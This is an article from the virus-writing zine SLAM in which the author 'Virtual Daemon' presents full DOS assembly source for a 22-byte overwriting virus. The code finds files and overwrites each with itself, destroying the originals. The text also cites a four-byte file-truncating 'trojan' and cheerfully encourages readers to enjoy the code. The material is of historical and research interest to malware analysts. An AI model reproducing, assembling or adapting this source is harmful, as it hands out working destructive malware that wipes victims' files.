SLAM3.030: The Smallest asm virus #2 by Virtual Daemon [SLAM]
The Smallest #2
by Virtual Daemon
Here goes another tricky shit... ;)
Well, after my first attempt on writing the smallest virus (presented in SLAM #2), I've received a mail from a guy named Benjamin who gave me a little tip... Thx man! You're great! :)
So, here goes my second attempt: The Smalles #2! Only 22 bytes...Enjoy!
Oh yeah! Another thing... Someone said to me that there is a 4 bytes virus! Well, I think that can't be named a virus. In my opinion that is just the smallest trojan horse, not the smallest virus! Anyway, I think (I'm not sure yet!) that this is the code: "mov ah,3ch/int 21h". I can't think of anything else that we might call a trojan horse smaller or different then this.
P.S. I've heard some rumours that there already is a 22 bytes virus. Well, I DON'T HAVE IT! So, I'm making it myself... ;)
Virus Name: The Smallest #2
Virus Author: Virtual Daemon
Group: SLAM
Virus Size: 22 Bytes
.model tiny
.code
org 100h
start:
filespec db '*.*',0 ;replaced by a SUB CH instruction
mov ah,4eh ;find first file
re:
mov dx,si ;dx=si=100h=filespec
int 21h
mov ah,3ch ;create a new file
mov dx,9eh ;get file name from DTA
int 21h
xchg bx,ax ;save file handle in BX (stupid DOS... ;)
mov ah,40h ;write the virus to file
jmp short re
end start